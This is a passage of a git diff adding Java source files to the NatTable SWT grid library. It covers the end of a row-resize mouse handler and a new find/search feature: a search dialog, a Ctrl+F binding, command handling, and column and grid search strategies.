mouseDown(NatTable natTable, MouseEvent event) { + natTable.forceFocus(); + gridRowPositionToResize = + CellEdgeDetectUtil.getRowPositionToResize(natTable, new Point(event.x, event.y)); + if (gridRowPositionToResize > 0) { + gridRowStartY = natTable.getStartYOfRowPosition(gridRowPositionToResize); + originalRowHeight = natTable.getRowHeightByPosition(gridRowPositionToResize); + startY = event.y; + natTable.addOverlayPainter(overlayPainter); + } + } + + public void mouseMove(NatTable natTable, MouseEvent event) { + if (event.y > natTable.getHeight()) { + return; + } + currentY = event.y; + if (currentY < gridRowStartY + getRowHeightMinimum()) { + currentY = gridRowStartY + getRowHeightMinimum(); + } else { + int overlayExtent = RowResizeOverlayPainter.ROW_RESIZE_OVERLAY_HEIGHT / 2; + + Set rowsToRepaint = new HashSet(); + + rowsToRepaint.add(Integer.valueOf(natTable.getRowPositionByY(currentY - overlayExtent))); + rowsToRepaint.add(Integer.valueOf(natTable.getRowPositionByY(currentY + overlayExtent))); + + if (lastY >= 0) { + rowsToRepaint.add(Integer.valueOf(natTable.getRowPositionByY(lastY - overlayExtent))); + rowsToRepaint.add(Integer.valueOf(natTable.getRowPositionByY(lastY + overlayExtent))); + } + + for (Integer rowToRepaint : rowsToRepaint) { + natTable.repaintRow(rowToRepaint.intValue()); + } + + lastY = currentY; + } + } + + public void mouseUp(NatTable natTable, MouseEvent event) { + natTable.removeOverlayPainter(overlayPainter); + updateRowHeight(natTable, event); + } + + private void updateRowHeight(ILayer natLayer, MouseEvent e) { + int dragHeight = e.y - startY; + int newRowHeight = originalRowHeight + dragHeight; + if (newRowHeight < getRowHeightMinimum()) newRowHeight = getRowHeightMinimum(); + natLayer.doCommand(new RowResizeCommand(natLayer, gridRowPositionToResize, newRowHeight)); + } + + // XXX: should ask the layer for its minimum row height + public int getRowHeightMinimum() { + return DEFAULT_ROW_HEIGHT_MINIMUM; + } + + private class RowResizeOverlayPainter implements IOverlayPainter { + + static final int ROW_RESIZE_OVERLAY_HEIGHT = 2; + + public void paintOverlay(GC gc, ILayer layer) { + Color originalBackgroundColor = gc.getBackground(); + gc.setBackground(GUIHelper.COLOR_DARK_GRAY); + gc.fillRectangle(0, currentY - (ROW_RESIZE_OVERLAY_HEIGHT / 2), layer.getWidth(), ROW_RESIZE_OVERLAY_HEIGHT); + gc.setBackground(originalBackgroundColor); + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/CellValueAsStringComparator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/CellValueAsStringComparator.java new file mode 100644 index 0000000..d4ada12 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/CellValueAsStringComparator.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.search; + +import java.util.Comparator; + +/** + * The comparator will base its comparison on the display value of a cell. The + * display value is assumed to be a string. + * + */ +public class CellValueAsStringComparator> implements Comparator { + + public CellValueAsStringComparator() { + } + + public int compare(T firstValue, T secondValue) { + String firstCellValue = firstValue.toString(); + String secondCellValue = secondValue.toString(); + return firstCellValue.compareTo(secondCellValue); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/ISearchDirection.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/ISearchDirection.java new file mode 100644 index 0000000..6f482db --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/ISearchDirection.java @@ -0,0 +1,8 @@ +package net.sourceforge.nattable.search; + +public interface ISearchDirection { + + public static final String SEARCH_FORWARD = "forward"; + public static final String SEARCH_BACKWARDS = "backwards"; + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/action/SearchAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/action/SearchAction.java new file mode 100644 index 0000000..9309c24 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/action/SearchAction.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.search.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.search.CellValueAsStringComparator; +import net.sourceforge.nattable.search.gui.SearchDialog; +import net.sourceforge.nattable.search.strategy.GridSearchStrategy; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.events.KeyEvent; + +public class SearchAction implements IKeyAction { + + private SearchDialog searchDialog; + + public void run(NatTable natTable, KeyEvent event) { + if (searchDialog == null) { + searchDialog = SearchDialog.createDialog(natTable.getShell(), natTable); + } + GridSearchStrategy searchStrategy = new GridSearchStrategy(natTable.getConfigRegistry(), true); + searchDialog.setSearchStrategy(searchStrategy, new CellValueAsStringComparator()); + searchDialog.open(); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/command/SearchCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/command/SearchCommand.java new file mode 100644 index 0000000..d9e08d8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/command/SearchCommand.java @@ -0,0 +1,91 @@ +package net.sourceforge.nattable.search.command; + +import java.util.Comparator; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.search.strategy.ISearchStrategy; + +public class SearchCommand implements ILayerCommand { + + private ILayer context; + private final ISearchStrategy searchStrategy; + private final String searchText; + private final boolean isWrapSearch; + private final boolean isCaseSensitive; + private final String searchDirection; + private final Comparator comparator; + private ILayerListener searchEventListener; + + public SearchCommand(ILayer layer, ISearchStrategy searchStrategy, String searchDirection, boolean isWrapSearch, boolean isCaseSensitive, Comparator comparator) { + this(null, layer, searchStrategy, searchDirection, isWrapSearch, isCaseSensitive, comparator); + } + + public SearchCommand(String searchText, ILayer layer, ISearchStrategy searchStrategy, String searchDirection, boolean isWrapSearch, boolean isCaseSensitive, Comparator comparator) { + this.context = layer; + this.searchStrategy = searchStrategy; + this.searchText = searchText; + this.isWrapSearch = isWrapSearch; + this.isCaseSensitive = isCaseSensitive; + this.searchDirection = searchDirection; + this.comparator = comparator; + } + + protected SearchCommand(SearchCommand command) { + this.context = command.context; + this.searchStrategy = command.searchStrategy; + this.searchText = command.searchText; + this.isWrapSearch = command.isWrapSearch; + this.isCaseSensitive = command.isCaseSensitive; + this.searchDirection = command.searchDirection; + this.comparator = command.comparator; + this.searchEventListener = command.searchEventListener; + } + + public ILayer getContext() { + return context; + } + + public ISearchStrategy getSearchStrategy() { + return searchStrategy; + } + + public String getSearchText() { + return searchText; + } + + public String getSearchDirection() { + return searchDirection; + } + + public boolean isWrapSearch() { + return isWrapSearch; + } + + public boolean isCaseSensitive() { + return isCaseSensitive; + } + + public ILayerListener getSearchEventListener() { + return searchEventListener; + } + + public void setSearchEventListener(ILayerListener listener) { + this.searchEventListener = listener; + } + + public Comparator getComparator() { + return comparator; + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + context = targetLayer; + return true; + } + + public SearchCommand cloneCommand() { + return new SearchCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/command/SearchGridCellsCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/command/SearchGridCellsCommandHandler.java new file mode 100644 index 0000000..720baaf --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/command/SearchGridCellsCommandHandler.java @@ -0,0 +1,60 @@ +package net.sourceforge.nattable.search.command; + +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.search.event.SearchEvent; +import net.sourceforge.nattable.search.strategy.AbstractSearchStrategy; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.SelectCellCommand; + +public class SearchGridCellsCommandHandler implements ILayerCommandHandler { + + private final SelectionLayer selectionLayer; + private PositionCoordinate searchResultCellCoordinate; + + public SearchGridCellsCommandHandler(SelectionLayer selectionLayer) { + this.selectionLayer = selectionLayer; + } + + public Class getCommandClass() { + return SearchCommand.class; + }; + + public boolean doCommand(ILayer targetLayer, SearchCommand searchCommand) { + searchCommand.convertToTargetLayer(targetLayer); + + AbstractSearchStrategy searchStrategy = (AbstractSearchStrategy) searchCommand.getSearchStrategy(); + if (searchCommand.getSearchEventListener() != null) { + selectionLayer.addLayerListener(searchCommand.getSearchEventListener()); + } + PositionCoordinate anchor = selectionLayer.getSelectionAnchor(); + if (anchor.columnPosition < 0 || anchor.rowPosition < 0) { + anchor = new PositionCoordinate(selectionLayer, 0, 0); + } + searchStrategy.setContextLayer(targetLayer); + Object dataValueToFind = null; + if ((dataValueToFind = searchCommand.getSearchText()) == null) { + dataValueToFind = selectionLayer.getDataValueByPosition(anchor.columnPosition, anchor.rowPosition); + } + + searchStrategy.setCaseSensitive(searchCommand.isCaseSensitive()); + searchStrategy.setWrapSearch(searchCommand.isWrapSearch()); + searchStrategy.setSearchDirection(searchCommand.getSearchDirection()); + searchStrategy.setComparator(searchCommand.getComparator()); + searchResultCellCoordinate = searchStrategy.executeSearch(dataValueToFind); + + selectionLayer.fireLayerEvent(new SearchEvent(searchResultCellCoordinate)); + if (searchResultCellCoordinate != null) { + final SelectCellCommand command = new SelectCellCommand(selectionLayer, searchResultCellCoordinate.columnPosition, searchResultCellCoordinate.rowPosition, false, false); + command.setForcingEntireCellIntoViewport(true); + selectionLayer.doCommand(command); + } + + return true; + } + + public PositionCoordinate getSearchResultCellCoordinate() { + return searchResultCellCoordinate; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/config/DefaultSearchBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/config/DefaultSearchBindings.java new file mode 100644 index 0000000..bdcb304 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/config/DefaultSearchBindings.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.search.config; + +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.search.action.SearchAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; + +import org.eclipse.swt.SWT; + +public class DefaultSearchBindings extends AbstractUiBindingConfiguration { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CTRL, 'f'), new SearchAction()); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/event/SearchEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/event/SearchEvent.java new file mode 100644 index 0000000..5ccc1f9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/event/SearchEvent.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.search.event; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.event.AbstractContextFreeEvent; + +public class SearchEvent extends AbstractContextFreeEvent { + + private final PositionCoordinate cellCoordinate; + + public SearchEvent(PositionCoordinate cellCoordinate) { + this.cellCoordinate = cellCoordinate; + } + + public PositionCoordinate getCellCoordinate() { + return cellCoordinate; + } + + public SearchEvent cloneEvent() { + return new SearchEvent(cellCoordinate); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/gui/SearchDialog.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/gui/SearchDialog.java new file mode 100644 index 0000000..b92555b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/gui/SearchDialog.java @@ -0,0 +1,213 @@ +package net.sourceforge.nattable.search.gui; + +import java.util.Comparator; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.search.ISearchDirection; +import net.sourceforge.nattable.search.command.SearchCommand; +import net.sourceforge.nattable.search.event.SearchEvent; +import net.sourceforge.nattable.search.strategy.ISearchStrategy; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +public class SearchDialog extends Dialog { + + private Text findText; + private Button findButton; + private Button caseSensitiveButton; + private Label statusLabel; + private Button wrapSearchButton; + private Button forwardButton; + private final ILayer layer; + private ISearchStrategy searchStrategy; + private Comparator comparator; + + private SearchDialog(Shell shell, ILayer layer) { + super(shell); + this.layer = layer; + setShellStyle(SWT.CLOSE | SWT.MODELESS | SWT.BORDER | SWT.TITLE); + setBlockOnOpen(false); + } + + public static SearchDialog createDialog(Shell shell, ILayer layer) { + return new SearchDialog(shell, layer); + } + + public void setSearchStrategy(ISearchStrategy searchStrategy, Comparator comparator) { + this.searchStrategy = searchStrategy; + this.comparator = comparator; + } + + @Override + public void create() { + + super.create(); + getShell().setText("Find"); + + } + + @Override + protected Control createContents(final Composite parent) { + + final Composite composite = new Composite(parent, SWT.NONE); + composite.setLayout(new GridLayout(1,false)); + GridDataFactory.fillDefaults().grab(true, true).applyTo(composite); + + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, false).applyTo(createInputPanel(composite)); + + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(createOptionsPanel(composite)); + + Composite buttonPanel = createButtonSection(composite); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.BOTTOM).grab(true, true).applyTo(buttonPanel); + + return composite; + } + + private Composite createButtonSection(Composite composite) { + + Composite panel = new Composite(composite, SWT.NONE); + GridLayout layout= new GridLayout(1,false); + panel.setLayout(layout); + + statusLabel = new Label(panel, SWT.LEFT); + statusLabel.setForeground(statusLabel.getDisplay().getSystemColor(SWT.COLOR_RED)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(statusLabel); + + findButton = createButton(panel, IDialogConstants.CLIENT_ID, "&Find", false); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(false, false).hint(52, SWT.DEFAULT).applyTo(findButton); + + findButton.setEnabled(false); + getShell().setDefaultButton(findButton); + + findButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doFind(); + } + }); + + Button closeButton = createButton(panel, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(false, false).hint(52, SWT.DEFAULT).applyTo(closeButton); + + return panel; + } + + private Composite createInputPanel(final Composite composite) { + final Composite row = new Composite(composite, SWT.NONE); + row.setLayout(new GridLayout(2,false)); + + final Label findLabel = new Label(row, SWT.NONE); + findLabel.setText("F&ind:"); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).applyTo(findLabel); + + findText = new Text(row, SWT.SINGLE | SWT.BORDER); + GridDataFactory.fillDefaults().grab(true, false).applyTo(findText); + findText.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + findButton.setEnabled(findText.getText().length() > 0); + } + }); + findText.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetDefaultSelected(SelectionEvent e) { + if (findButton.isEnabled()) { + doFind(); + } + } + }); + + return row; + } + + private Composite createOptionsPanel(final Composite composite) { + final Composite row = new Composite(composite, SWT.NONE); + row.setLayout(new GridLayout(2,true)); + + final Group directionGroup = new Group(row, SWT.SHADOW_ETCHED_IN); + GridDataFactory.fillDefaults().grab(true, true).applyTo(directionGroup); + directionGroup.setText("Direction"); + final RowLayout rowLayout = new RowLayout(SWT.VERTICAL); + rowLayout.marginHeight = rowLayout.marginWidth = 3; + directionGroup.setLayout(rowLayout); + forwardButton = new Button(directionGroup, SWT.RADIO); + forwardButton.setText("F&orward"); + forwardButton.setSelection(true); + final Button backwardButton = new Button(directionGroup, SWT.RADIO); + backwardButton.setText("&Backward"); + + final Group optionsGroup = new Group(row, SWT.SHADOW_ETCHED_IN); + GridDataFactory.fillDefaults().grab(true, true).applyTo(optionsGroup); + optionsGroup.setText("Options"); + optionsGroup.setLayout(rowLayout); + caseSensitiveButton = new Button(optionsGroup, SWT.CHECK); + caseSensitiveButton.setText("&Case Sensitive"); + wrapSearchButton = new Button(optionsGroup, SWT.CHECK); + wrapSearchButton.setText("&Wrap Search"); + wrapSearchButton.setSelection(true); + + return row; + } + + private void doFind() { + + BusyIndicator.showWhile(super.getShell().getDisplay(), new Runnable() { + + private PositionCoordinate searchResultCoordinate; + + public void run() { + searchResultCoordinate = null; + statusLabel.setText(""); + + String searchDirection = forwardButton.getSelection() ? ISearchDirection.SEARCH_FORWARD : ISearchDirection.SEARCH_BACKWARDS; + final SearchCommand command = new SearchCommand(findText.getText(), layer, searchStrategy, searchDirection, wrapSearchButton.getSelection(), caseSensitiveButton.getSelection(), comparator); + + final ILayerListener searchEventListener = initSearchEventListener(); + command.setSearchEventListener(searchEventListener); + + try { + // Fire command + layer.doCommand(command); + + if (searchResultCoordinate == null || (searchResultCoordinate.columnPosition < 0 && searchResultCoordinate.rowPosition < 0)) { + statusLabel.setText("Text not found"); + } + } finally { + command.getContext().removeLayerListener(searchEventListener); + } + } + + private ILayerListener initSearchEventListener() { + // Register event listener + final ILayerListener searchEventListener = new ILayerListener() { + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof SearchEvent) { + SearchEvent searchEvent = (SearchEvent) event; + searchResultCoordinate = searchEvent.getCellCoordinate(); + } + } + }; + return searchEventListener; + } + }); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/AbstractSearchStrategy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/AbstractSearchStrategy.java new file mode 100644 index 0000000..8f1d303 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/AbstractSearchStrategy.java @@ -0,0 +1,53 @@ +package net.sourceforge.nattable.search.strategy; + +import java.util.Comparator; + +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractSearchStrategy implements ISearchStrategy { + private ILayer contextLayer; + protected String searchDirection; + protected boolean wrapSearch = false; + protected boolean caseSensitive = false; + protected Comparator comparator; + + public void setContextLayer(ILayer contextLayer) { + this.contextLayer = contextLayer; + } + + public ILayer getContextLayer() { + return contextLayer; + } + + public void setSearchDirection(String searchDirection) { + this.searchDirection = searchDirection; + } + + public String getSearchDirection() { + return searchDirection; + } + + public void setWrapSearch(boolean wrapSearch) { + this.wrapSearch = wrapSearch; + } + + public boolean isWrapSearch() { + return wrapSearch; + } + + public void setCaseSensitive(boolean caseSensitive) { + this.caseSensitive = caseSensitive; + } + + public boolean isCaseSensitive() { + return caseSensitive; + } + + public Comparator getComparator() { + return comparator; + } + + public void setComparator(Comparator comparator) { + this.comparator = comparator; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/CellDisplayValueSearchUtil.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/CellDisplayValueSearchUtil.java new file mode 100644 index 0000000..29ce0cb --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/CellDisplayValueSearchUtil.java @@ -0,0 +1,70 @@ +package net.sourceforge.nattable.search.strategy; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Comparator; +import java.util.List; + +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.style.DisplayMode; + +public class CellDisplayValueSearchUtil { + + static List getCellCoordinates(ILayer contextLayer, int startingColumnPosition, int startingRowPosition, int width, int height) { + List coordinates = new ArrayList(); + for (int columnPosition = 0; columnPosition < width; columnPosition++) { + for (int rowPosition = 0; rowPosition < height; rowPosition++) { + PositionCoordinate coordinate = new PositionCoordinate(contextLayer, startingColumnPosition, startingRowPosition++); + coordinates.add(coordinate); + } + startingColumnPosition++; + } + return coordinates; + } + + static List getDescendingCellCoordinates(ILayer contextLayer, int startingColumnPosition, int startingRowPosition, int width, int height) { + List coordinates = new ArrayList(); + for (int columnPosition = width; columnPosition >= 0 && startingColumnPosition >= 0; columnPosition--) { + for (int rowPosition = height; rowPosition >= 0 && startingRowPosition >= 0; rowPosition--) { + PositionCoordinate coordinate = new PositionCoordinate(contextLayer, startingColumnPosition, startingRowPosition--); + coordinates.add(coordinate); + } + startingColumnPosition--; + } + return coordinates; + } + + + @SuppressWarnings("unchecked") + static PositionCoordinate findCell(final ILayer layer, final IConfigRegistry configRegistry, final PositionCoordinate[] cellsToSearch, final Object valueToMatch, final Comparator comparator, final boolean caseSensitive) { + final List cellCoordinates = Arrays.asList(cellsToSearch); + // Find cell + PositionCoordinate targetCoordinate = null; + + String stringValue = caseSensitive ? valueToMatch.toString() : valueToMatch.toString().toLowerCase(); + for (int cellIndex = 0; cellIndex < cellCoordinates.size(); cellIndex++) { + final PositionCoordinate cellCoordinate = cellCoordinates.get(cellIndex); + final int columnPosition = cellCoordinate.columnPosition; + final int rowPosition = cellCoordinate.rowPosition; + + // Convert cell's data + final IDisplayConverter displayConverter = configRegistry.getConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, DisplayMode.NORMAL, layer.getConfigLabelsByPosition(columnPosition, rowPosition).getLabels()); + final Object dataValue = displayConverter.canonicalToDisplayValue(layer.getDataValueByPosition(columnPosition, rowPosition)); + + // Compare with valueToMatch + if (dataValue instanceof Comparable) { + String dataValueString = caseSensitive ? dataValue.toString() : dataValue.toString().toLowerCase(); + if (comparator.compare(stringValue, dataValueString) == 0 || dataValueString.contains(stringValue)) { + targetCoordinate = cellCoordinate; + break; + } + } + } + + return targetCoordinate; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/ColumnSearchStrategy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/ColumnSearchStrategy.java new file mode 100644 index 0000000..9a2a257 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/ColumnSearchStrategy.java @@ -0,0 +1,66 @@ +package net.sourceforge.nattable.search.strategy; + +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.search.ISearchDirection; + +public class ColumnSearchStrategy extends AbstractSearchStrategy { + + private int[] columnPositions; + private int startingRowPosition; + private final String searchDirection; + private final IConfigRegistry configRegistry; + + public ColumnSearchStrategy(int[] columnPositions, IConfigRegistry configRegistry) { + this(columnPositions, 0, configRegistry, ISearchDirection.SEARCH_FORWARD); + } + + public ColumnSearchStrategy(int[] columnPositions, int startingRowPosition, IConfigRegistry configRegistry, String searchDirection) { + this.columnPositions = columnPositions; + this.startingRowPosition = startingRowPosition; + this.configRegistry = configRegistry; + this.searchDirection = searchDirection; + } + + public PositionCoordinate executeSearch(Object valueToMatch) { + return CellDisplayValueSearchUtil.findCell(getContextLayer(), configRegistry, getColumnCellsToSearch(getContextLayer()), valueToMatch, getComparator(), isCaseSensitive()); + } + + public void setStartingRowPosition(int startingRowPosition) { + this.startingRowPosition = startingRowPosition; + } + + public void setColumnPositions(int[] columnPositions) { + this.columnPositions = columnPositions; + } + + protected PositionCoordinate[] getColumnCellsToSearch(ILayer contextLayer) { + List cellsToSearch = new ArrayList(); + int rowPosition = startingRowPosition; + // See how many rows we can add, depends on where the search is starting from + final int rowCount = contextLayer.getRowCount(); + int height = rowCount; + if (searchDirection.equals(ISearchDirection.SEARCH_FORWARD)) { + height = height - startingRowPosition; + } else { + height = startingRowPosition; + } + for (int columnIndex = 0; columnIndex < columnPositions.length; columnIndex++) { + final int startingColumnPosition = columnPositions[columnIndex]; + if (searchDirection.equals(ISearchDirection.SEARCH_BACKWARDS)) { + cellsToSearch.addAll(CellDisplayValueSearchUtil.getDescendingCellCoordinates(getContextLayer(), startingColumnPosition, rowPosition, 1, height)); + rowPosition = rowCount - 1; + } else { + cellsToSearch.addAll(CellDisplayValueSearchUtil.getCellCoordinates(getContextLayer(), startingColumnPosition, rowPosition, 1, height)); + rowPosition = 0; + } + height = rowCount; + // After first column is set, start the next column from the top + } + return cellsToSearch.toArray(new PositionCoordinate[0]); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/GridSearchStrategy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/GridSearchStrategy.java new file mode 100644 index 0000000..dc9c405 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/search/strategy/GridSearchStrategy.java @@ -0,0 +1,121 @@ +package net.sourceforge.nattable.search.strategy; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.search.ISearchDirection; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class GridSearchStrategy extends AbstractSearchStrategy { + + private final IConfigRegistry configRegistry; + + public GridSearchStrategy(IConfigRegistry configRegistry, boolean wrapSearch) { + this(configRegistry, wrapSearch, ISearchDirection.SEARCH_FORWARD); + } + + public GridSearchStrategy(IConfigRegistry configRegistry, boolean wrapSearch, String searchDirection) { + this.configRegistry = configRegistry; + this.wrapSearch = wrapSearch; + this.searchDirection = searchDirection; + } + + public PositionCoordinate executeSearch(Object valueToMatch) { + ILayer contextLayer = getContextLayer(); + if (! (contextLayer instanceof SelectionLayer)) { + throw new RuntimeException("For the GridSearchStrategy to work it needs the selectionLayer to be passed as the contextLayer."); + } + + SelectionLayer selectionLayer = (SelectionLayer) contextLayer; + PositionCoordinate selectionAnchor = selectionLayer .getSelectionAnchor(); + boolean hadSelectionAnchor = true; + if (selectionAnchor.columnPosition < 0 || selectionAnchor.rowPosition < 0) { + selectionAnchor.columnPosition = 0; + selectionAnchor.rowPosition = 0; + hadSelectionAnchor = false; + } + int anchorColumnPosition = selectionAnchor.columnPosition; + + int startingRowPosition; + int[] columnsToSearch = null; + final int columnCount = selectionLayer.getColumnCount(); + if (searchDirection.equals(ISearchDirection.SEARCH_FORWARD)) { + int rowPosition = hadSelectionAnchor ? selectionAnchor.rowPosition + 1 : selectionAnchor.rowPosition; + if (rowPosition > (contextLayer.getRowCount() - 1)) { + rowPosition = wrapSearch ? 0 : contextLayer.getRowCount() - 1; + } + int rowCount = selectionLayer.getRowCount(); + startingRowPosition = rowPosition < rowCount ? rowPosition : 0; + if (selectionAnchor.rowPosition + 1 >= rowCount && anchorColumnPosition + 1 >= columnCount && hadSelectionAnchor) { + if (wrapSearch) { + anchorColumnPosition = 0; + } else { + return null; + } + } else if (selectionAnchor.rowPosition == rowCount - 1 && anchorColumnPosition < columnCount - 1) { + anchorColumnPosition++; + } + columnsToSearch = getColumnsToSearchArray(columnCount, anchorColumnPosition); + } else { + int rowPosition = selectionAnchor.rowPosition - 1; + if (rowPosition < 0) { + rowPosition = wrapSearch ? contextLayer.getRowCount() - 1 : 0; + } + startingRowPosition = rowPosition > 0 ? rowPosition : 0; + + if (selectionAnchor.rowPosition - 1 < 0 && anchorColumnPosition - 1 < 0 && hadSelectionAnchor) { + if (wrapSearch) { + anchorColumnPosition = columnCount - 1; + } else { + return null; + } + } else if (selectionAnchor.rowPosition == 0 && anchorColumnPosition > 0) { + anchorColumnPosition--; + } + columnsToSearch = getDescendingColumnsToSearchArray(anchorColumnPosition); + } + + PositionCoordinate executeSearch = searchGrid(valueToMatch, contextLayer, selectionLayer, anchorColumnPosition, + startingRowPosition, columnsToSearch); + return executeSearch; + } + + private PositionCoordinate searchGrid(Object valueToMatch, ILayer contextLayer, SelectionLayer selectionLayer, + final int anchorColumnPosition, int startingRowPosition, int[] columnsToSearch) { + // Search for value across columns + ColumnSearchStrategy columnSearcher = new ColumnSearchStrategy(columnsToSearch, startingRowPosition, configRegistry, searchDirection); + columnSearcher.setCaseSensitive(caseSensitive); + columnSearcher.setWrapSearch(wrapSearch); + columnSearcher.setContextLayer(contextLayer); + columnSearcher.setComparator(getComparator()); + PositionCoordinate executeSearch = columnSearcher.executeSearch(valueToMatch); + + if (executeSearch == null && wrapSearch) { + if (searchDirection.equals(ISearchDirection.SEARCH_FORWARD)) { + columnSearcher.setColumnPositions(getColumnsToSearchArray(anchorColumnPosition + 1, 0)); + } else { + columnSearcher.setColumnPositions(getDescendingColumnsToSearchArray(anchorColumnPosition)); + } + columnSearcher.setStartingRowPosition(0); + executeSearch = columnSearcher.executeSearch(valueToMatch); + } + return executeSearch; + } + + protected int[] getColumnsToSearchArray(int columnCount, int startingColumnPosition) 